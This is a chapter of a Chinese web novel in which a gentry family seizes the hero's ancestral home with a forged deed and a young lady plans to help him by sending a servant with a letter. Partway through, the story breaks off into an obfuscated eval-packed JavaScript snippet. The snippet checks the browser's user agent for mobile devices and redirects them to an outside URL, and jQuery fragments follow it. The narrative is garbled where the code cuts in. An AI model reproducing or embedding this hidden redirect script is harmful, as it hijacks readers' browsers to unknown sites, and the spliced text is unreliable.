凭海阔的祖宅，到底还是被人盯上了。
事情来得又急又毒。
那日他照例去城西粥棚帮工，天擦黑才回。远远就看见自家老宅前围了一圈人，闹哄哄的。
林伯佝偻着身子挡在门口，一张老脸涨得通红，正跟几个泼皮无赖争执着什么。
"林老头，识相的就赶紧搬！"领头的泼皮叉着腰，手里抖着一卷发黄的纸，"这地，早就是周员外家的了！地契在这儿，白纸黑字，你还想赖不成？"
林伯气得浑身发抖："放屁！这祖宅是我家老爷传下来的，地契在少爷手里，你们哪来的地契！"
"你那地契？"泼皮嘿嘿一笑，"假的！周员外早去衙门查过了，你这宅子的地，五十年前就是周家的！是你们凭家仗着宗室的名头，强占了去！"
凭海阔拨开人群，一步步走到门口。
他冷眼看着那泼皮手里的"地契"，又看了看周围看热闹的乡邻，心里已经把事情猜了个八九分。
周家。吴江县的周员外，本地数一数二的乡绅，良田千顷，商号遍城。这老东西早就惦记上了凭家祖宅这块地——说是祖宅，半旧不新，可它占了城里顶好的一段地界，靠着县衙不远，又挨着码头，若是拆了重建，做铺面、做货栈，都是一本万利。
如今，人家连"地契"都造好了。
"叫你们周员外来。"凭海阔沉声道，声音不大，却自有一股子冷意，"地契真假，到衙门当面对质。"
"对质？"那泼皮像听了什么天大的笑话，笑得前仰后合，"凭郎君，你是宗室不假，可你一个连功名都没有的落魄宗室，拿什么跟周员外对质？再说了——"
他凑近一步，压低声音，笑得阴恻恻的："周员外让我给你带句话。你识相，乖乖把地让出来，周家出二百两银子，白纸黑字立契，你好生过日子去。要是不识相……"
他扬了扬手里的地契，威胁之意，不言自明。
凭海阔攥紧了拳头。
二百两银子，搁在这吴江小城，够一户人家嚼用半辈子。周家肯出这个数，搁旁人眼里，已经是天大的体面。
可凭海阔心里跟明镜似的——他凭家这祖宅，占了城里顶好的一段地界，靠着县衙，挨着码头，真拆了重建，做铺面、做货栈，一年进账都不止二百两。周员外这是拿"买地"的价钱，行"抢地"的勾当，还要他感恩戴德地滚蛋。
他前世在工地上、在公司里，见过太多仗势欺人的把戏。可那些，顶多是扣你点工资、抢你点功劳。如今这周家，是要他一个"宗室之后"连最后的立足之地都交出来。
欺人太甚。
可再气，他也清楚自己的处境。
无权、无势、无功名。宗族里倒是有几门在地方上当差的远亲，可那点关系，平日里走动走动、周转点小钱还行，真要跟周家背后的府衙势力掰手腕，压根够不着。
"回去告诉周员外。"他盯着那泼皮，一字一句道，"这宅子，是我凭家祖上传下来的，寸土不让。"
"敬酒不吃吃罚酒。"领头的泼皮脸色一沉，逼近一步，"凭郎君，你可想清楚了。周员外给你银子，是给你脸。你一个连功名都没有的落魄宗室，真当这吴江还有你说话的份儿？"
"有没有我说话的份儿，不是你说了算。"凭海阔寸步不让，"更不是周家说了算。"
泼皮恼了，朝身后一挥手："哥几个，给脸不要脸，那就让他长长记性！"
几个泼皮狞笑着逼上来，其中一个伸手就朝凭海阔胸口推去。
凭海阔没防备，被推得踉跄后退，后背撞在门板上，闷哼一声。
"少爷！"林伯急得老脸煞白，扑上来就要护主，"你们干什么！不许伤我家少爷！"
一个泼皮抬脚就踹，正踹在林伯腿弯上。老人"哎哟"一声，摔倒在地，半天爬不起来。
凭海阔的眼，登时就红了。
他年轻，前世又在工地上搬过砖、扛过料，手上有一把子力气。这会儿怒火上头，一把攥住那推他的泼皮的手腕，五指收拢，竟捏得那泼皮"嗷"地叫出声来。
"再动我的人。"凭海阔盯着他，声音冷得能结冰，"你试试。"
他这眼神，像极了被逼到墙角的狼。几个泼皮被这气势一压，脚步竟齐齐一顿。
领头的泼皮见手下被镇住，知道硬来讨不了好，眼珠一转，撂下狠话："好，凭郎君，你有种。周员外说了，给你三天。三天之后，这地还不腾出来，就不是哥几个上门说理这么简单了！"
说罢，一挥手："走！"
泼皮们骂骂咧咧地散了。
凭海阔顾不得自己，先蹲下身去扶林伯："林伯，伤着没有？"
林伯颤巍巍地借着他的力站起来，老泪纵横："少爷，老奴没事……可周家势大，三天……三天后，咱们可怎么办啊……"
凭海阔望着天边沉下去的残阳，没说话。
他心里，头一次生出了一股说不出的憋闷。
——若是他再强一点，再有权有势一点，何至于被一个乡绅欺到头上来？
也正是在这一夜，任天高得了消息。
春杏慌慌张张地跑进来，竹筒倒豆子似的把周家强占祖宅的事说了个遍。她消息灵通，是府里出了名的"顺风耳"，末了急道："小姐，您看这可如何是好？那凭郎君，怕是要被周家赶出去了！"
任天高正在灯下翻看账册，闻言，手一顿。
周家。她知道这家。吴江本地的乡绅，盘根错节，和县衙里的几个胥吏勾连不清，这些年没少干侵占田产的勾当。
她那老实巴交的父亲，碍着各种关系，一直是睁一只眼闭一只眼。
可这回，周家动到她的人头上了。
任天高合上账册，眼里掠过一丝冷意。
她这人，最恨的就是这种仗势欺人的腌臜手段。更何况，被欺的，还是她千挑万选定下来的"天命之子"。
——开玩笑，我任天高要辅佐的人，岂能让你一个乡下土财主欺负了去？
可恨归恨，她心里门儿清：要扳倒周家，光靠她一个"大门不出二门不迈"的闺秀，再加上一个只会传闲话的春杏，远远不够
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915355|213300||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
查案、跑腿、串联苦主、盯梢周家的动静——这些事，得有个能抛头露面、能进出衙门、又信得过的人去办。
她得先给自己找一把"趁手的刀"。
任天高垂眸想了片刻，忽然问春杏："咱们府上，如今有哪些护院？"
春杏一愣："护院？小姐问这个作甚？"
"随便问问。"任天高笑笑，"你且说。"
春杏掰着指头数："前院的老赵头带着几个，都是老人了。后院里还有个年轻的，叫赵虎，是老赵头的儿子，自小在府里长大，拳脚是跟着府里的武师学的，听说还识得几个字。"
任天高点点头，心里已经有了主意。
翌日清早，任天高借着"替父亲整理书房"的由头，把赵虎叫到了偏院。
赵虎二十出头，生得肩宽腰窄，一双眼珠子骨碌碌转，透着一股机灵劲儿。见了小姐，规规矩矩地低头行礼："小的赵虎，见过小姐。"
任天高打量他几眼，也不绕弯子："赵虎，你在府里当差，图的什么？"
赵虎一怔，随即老老实实道："小的爹是任家的老人，小的自小吃任家的饭长大，图的，就是给任家、给小姐卖命。"
任天高笑了："好。那我有件事，要你去办。"
赵虎眼睛一亮："小姐尽管吩咐。"
任天高敛了笑，压低声音，把周家强占凭家祖宅的事细细说了一遍。赵虎听着，眉头越皱越紧，末了捏着拳头道："这帮天杀的，也太欺负人了！"
"光会骂可没用。"任天高摇头，"我要你办的，也不是打打杀杀的事。"
她顿了顿，道："我要你替我送一封信。"
"送信？"赵虎一愣，"就这么简单？"
"就这么简单。"任天高道，"信，是送给城西凭家那位凭郎君的。你送去之后，把人家的回话、他的神情、他说了些什么，一个字不落地回来报给我。能做到吗？"
赵虎虽不知小姐葫芦里卖的什么药，还是老老实实点头："小的记住了。"
——任天高要的，可不止是送信。
她要借这封信，先探一探凭海阔的底。周家三天后就动手，这节骨眼上，她得先弄清楚：这个"天命之子"，面对强敌，到底是慌了手脚，还是自有章程？
至于怎么扳倒周家——那是后话，得先把凭海阔这个人看准了，才好谋划。
当下，任天高铺开纸，提笔写了起来。
信不长，只寥寥数语：凭郎君，家父已闻周家之事，心中不忿。只是此事要解，需得证据、人证、时机三样俱全，急不得。郎君若有计较，可让送信之人带回，家父愿助一臂之力。
写罢，她折好信笺，交给赵虎，又嘱咐道："送到城西凭家，亲手交给凭郎君。莫要走漏了风声。"
"是。"赵虎把信揣进怀里，转身去了。
任天高望着他远去的背影，指尖轻轻敲了敲桌面。
——这把"刀"，她还没磨。
但她要先看看，那个"天命之子"，值不值得她下这个功夫。